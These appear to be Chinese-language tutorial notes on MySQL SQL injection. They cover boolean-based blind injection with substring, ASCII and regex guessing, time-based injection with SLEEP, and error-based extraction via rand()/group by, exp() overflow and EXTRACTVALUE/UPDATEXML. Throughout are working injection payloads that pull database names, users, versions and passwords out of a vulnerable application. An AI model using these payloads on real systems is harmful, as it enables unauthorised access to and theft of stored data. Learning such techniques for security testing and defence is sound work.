盲注就是sql语句注入后并且成功执行,但是执行的结果不能返回前端,所以需要通过一些其他信息间接推断数据。
盲注分为三类
基于布尔的盲注使用逻辑判断推测获取的数据,通过给定条件,服务器返回真或假使用二分法或者正则表达式等方法缩小判断的范围。
通常会使用sql中的截取字符串函数,以下是一些常见的函数
mid(column_name,start[,length]) #column_name是操作的字符串;start是起始位置(起始值为1);length是要返回的字符数,省略则返回全部。
Eg: MID(DATABASE(),1,1)>’a’ #判断数据库名第一位是否大于a;再查看其他位进行判断。
MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处column_name参数可以为sql语句,可自行构造sql语句进行注入。
Substr(string, start, length) #参数和mid相同,用例和mid相同
Left(string, n) #n为长度
Eg: left(database(),1)>’a’ #判断数据库名第一位是否大于a;再查看其他位进行判断。
Ord(char) #char为字符,用于返回字符的ascii码,有时候服务器会对单引号进行转义,使用ASCII码就不用使用单引号
Eg:ORD(MID(DATABASE(),1,1))>114 意为检测database()的第一位ASCII码是否大于114,也即是‘r’
Ascii(char) #和ord函数一样
使用正则表达式进行盲注
用法为:string regexp “表达式”
Eg:index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) #判断第一个字符是否在a-z范围内。
expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE
#这是一个猜测的过程,一般根据经验可以快速猜测。
要猜测下一个表名的时候就不能简单的修改 limit 1,1 -> limit 2,1,因为regexp会在所有项中匹配,limit 0,1作用于select语句。
LIKE ‘正则表达式’ _匹配单一字符,%匹配多个字符
主要是利用延时或者执行的时间来判断。
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句,条件为假,执行 sleep
因为延时受到网络环境的影响,这种方法不是很靠谱。
构造payload让信息通过错误提示显示
count(*)和rand(0)和group by报错
rand(0)是伪随机数列,01101100。为什么会产生报错,原理为rand(0)并不是一个定值相当于一个变量。使用group by时,会建立一张虚拟表字段为key和count(*)。现在进行操作,第一次为0,虚拟表中没有这个项,那么数据库需要插入这个项,但是数据库并没有记录下来,它会再次执行rand(0)试图获取,但是他获取的是第二个数,这时插入的实际上是1。依次类推,当数据库去查询发现0这个项不存在,下来就要插入,执行rand(0)得到1,但是1已经存在,这时插入已经存在的项就会报错。简单地说就是计数重复。
为什么会通过错误信息打印真实数据?
当重复的时候就会提示重复项跟上数据
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))
a from information_schema.columns group by a;
简化形式:
select count(*) from information_schema.tables group by concat(version(),
floor(rand(0)*2))
服务器有可能会禁用关键的表
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
服务器有可能会禁用rand()
select min(@a:=1) from information_schema.tables group by concat(passwo
rd,@a:=(@a+1)%2)
#其中@a是变量,在select语句中,赋值必须使用:=,用@a:=(@a+1)%2)来代替rand()
Exp()函数溢出报错
select exp(~(select * FROM(SELECT USER())a)) //double 数值类型超出范围
exp(709)是最大值,超过709就会超出数据范围。~是按位取反,一般来说取反后数值很大。
XML修改查询报错
主要是由于XPATH的语法错误
EXTRACTVALUE (XML_document, XPath_string) # XML_document是String格式,为XML文档对象的名称,文中为Doc;XPath_string (Xpath格式的字符串)
UPDATEXML (XML_document, XPath_string, new_value) # new_value是String格式,替换查找到的符合条件的数据
Eg: extractvalue(1,concat(0x7e,(select @@version),0x7e)) se//mysql 对 xml 数据进
行查询和修改的 xpath 函数,xpath 语法错误
updatexml(1,concat(0x7e,(select @@version),0x7e),1) //mysql 对 xml 数据进行
查询和修改的 xpath 函数,xpath 语法错误
Concat()用于连接不同的列
Group_concat()用于连接同一列的所有数据